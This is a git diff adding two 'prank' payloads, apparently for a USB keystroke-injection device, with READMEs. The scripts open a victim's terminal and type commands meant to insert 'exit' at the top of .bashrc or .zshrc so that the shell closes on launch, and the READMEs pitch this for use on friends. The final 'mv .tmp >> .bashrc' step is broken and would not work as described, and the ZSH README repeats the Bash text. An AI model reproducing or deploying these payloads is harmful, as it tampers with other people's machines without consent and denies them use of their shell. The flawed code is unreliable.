diff --git a/payloads/library/prank/This_damn_shell_doesn_t_work_so_sad!_BASH_shell/README.md b/payloads/library/prank/This_damn_shell_doesn_t_work_so_sad!_BASH_shell/README.md new file mode 100644 index 000000000..dbfa9ea28 --- /dev/null +++ b/payloads/library/prank/This_damn_shell_doesn_t_work_so_sad!_BASH_shell/README.md @@ -0,0 +1,50 @@ +# This Damn Shell Doesn't Work, SO SAD! :C + +This payload can be used to prank your friends so that when they open their terminal it will close immediately. + +**Category**: Prank + +*How it works on Kali Linux...* + +![](https://i.ibb.co/6NdTm8H/1.gif) + +## Dependencies + +* Nothing <3 + +## Description + +The described payload aims to modify the configuration file of the default shell environment in a Linux system, specifically the `.bashrc` file. This file is executed every time a user opens a terminal or a Bash shell session. By inserting the `exit` command as the first line in the `.bashrc` file, it causes the shell to terminate immediately upon opening, preventing the user from executing any further commands or operations within the shell. + +However, it's important to note that starting from version 2020.4, Kali Linux has changed its default shell from Bash to Zsh \[1] for users installing this distribution. Consequently, the main configuration file is no longer `.bashrc` but `.zshrc`. Therefore, if the target is a Kali Linux machine with this version or later, it's necessary to modify the `.zshrc` file instead of `.bashrc`. + +To use this payload correctly, it is important to choose the correct one based on the target. If the target system is **Kali Linux** and if it is using Zsh as the default shell, the correct payload is [this one here](), otherwise if it is classic linux distributions like **Ubuntu** or **Debian** it is recommended to use [this one here](). + +To restore proper shell operation, it will be necessary to edit via a text editor the `.bashrc` or `.zshrc` file by deleting the first line that consists of the command `exit`. + +## Read More + +- \[1] [Kali Linux 2020.4 switches the default shell from Bash to ZSH +](https://www.bleepingcomputer.com/news/linux/kali-linux-20204-switches-the-default-shell-from-bash-to-zsh/) + +## Credits + +

Aleff :octocat:

+
+ + + + + +
+ + + +
Github +
+ + + +
LinkedIn +
+
\ No newline at end of file diff --git a/payloads/library/prank/This_damn_shell_doesn_t_work_so_sad!_BASH_shell/payload.txt b/payloads/library/prank/This_damn_shell_doesn_t_work_so_sad!_BASH_shell/payload.txt new file mode 100644 index 000000000..1466ca3e6 --- /dev/null +++ b/payloads/library/prank/This_damn_shell_doesn_t_work_so_sad!_BASH_shell/payload.txt @@ -0,0 +1,28 @@ +############################################################ +# # +# Title : This damn shell doesn't work, SO SAD! :C # +# Author : Aleff # +# Version : 1.0 # +# Category : Prank # +# Target : BASH Shell # +# # +############################################################ + +ATTACKMODE HID + +# Requirements: +# - Nothing <3 + +QUACK DELAY 1000 +QUACK CTRL-ALT t +QUACK DELAY 2000 +QUACK STRING echo \"exit\" > .tmp +QUACK ENTER +QUACK DELAY 500 +QUACK STRING cat .bashrc >> .tmp +QUACK ENTER +QUACK DELAY 500 +QUACK STRING mv .tmp >> .bashrc +QUACK ENTER +QUACK DELAY 500 +QUACK ALT F4 diff --git a/payloads/library/prank/This_damn_shell_doesn_t_work_so_sad!_ZSH_shell/README.md b/payloads/library/prank/This_damn_shell_doesn_t_work_so_sad!_ZSH_shell/README.md new file mode 100644 index 000000000..4290a1a37 --- /dev/null +++ b/payloads/library/prank/This_damn_shell_doesn_t_work_so_sad!_ZSH_shell/README.md @@ -0,0 +1,48 @@ +# This Damn Shell Doesn't Work, SO SAD! :C + +This payload can be used to prank your friends so that when they open their terminal it will close immediately. + +**Category**: Prank + +![](https://i.ibb.co/6NdTm8H/1.gif) + +## Dependencies + +* Nothing <3 + +## Description + +The described payload aims to modify the configuration file of the default shell environment in a Linux system, specifically the `.bashrc` file. This file is executed every time a user opens a terminal or a Bash shell session. By inserting the `exit` command as the first line in the `.bashrc` file, it causes the shell to terminate immediately upon opening, preventing the user from executing any further commands or operations within the shell. + +However, it's important to note that starting from version 2020.4, Kali Linux has changed its default shell from Bash to Zsh \[1] for users installing this distribution. Consequently, the main configuration file is no longer `.bashrc` but `.zshrc`. Therefore, if the target is a Kali Linux machine with this version or later, it's necessary to modify the `.zshrc` file instead of `.bashrc`. + +To use this payload correctly, it is important to choose the correct one based on the target. If the target system is **Kali Linux** and if it is using Zsh as the default shell, the correct payload is [this one here](), otherwise if it is classic linux distributions like **Ubuntu** or **Debian** it is recommended to use [this one here](). + +To restore proper shell operation, it will be necessary to edit via a text editor the `.bashrc` or `.zshrc` file by deleting the first line that consists of the command `exit`. + +## Read More + +- \[1] [Kali Linux 2020.4 switches the default shell from Bash to ZSH +](https://www.bleepingcomputer.com/news/linux/kali-linux-20204-switches-the-default-shell-from-bash-to-zsh/) + +## Credits + +

Aleff

+
+ + + + + +
+ + + +
Github +
+ + + +
LinkedIn +
+
\ No newline at end of file diff --git a/payloads/library/prank/This_damn_shell_doesn_t_work_so_sad!_ZSH_shell/payload.txt b/payloads/library/prank/This_damn_shell_doesn_t_work_so_sad!_ZSH_shell/payload.txt new file mode 100644 index 000000000..04101a5e9 --- /dev/null +++ b/payloads/library/prank/This_damn_shell_doesn_t_work_so_sad!_ZSH_shell/payload.txt @@ -0,0 +1,28 @@ +########################################################### +# # +# Title : This damn shell doesn't work, SO SAD! :C # +# Author : Aleff # +# Version : 1.0 # +# Category : Prank # +# Target : ZSH Shell # +# # +########################################################### + +ATTACKMODE HID + +# Requirements: +# - Nothing <3 + +QUACK DELAY 1000 +QUACK CTRL-ALT t +QUACK DELAY 2000 +QUACK STRING echo \"exit\" > .tmp +QUACK ENTER +QUACK DELAY 500 +QUACK STRING cat .zshrc >> .tmp +QUACK ENTER +QUACK DELAY 500 +QUACK STRING mv .tmp >> .zshrc +QUACK ENTER +QUACK DELAY 500 +QUACK ALT F4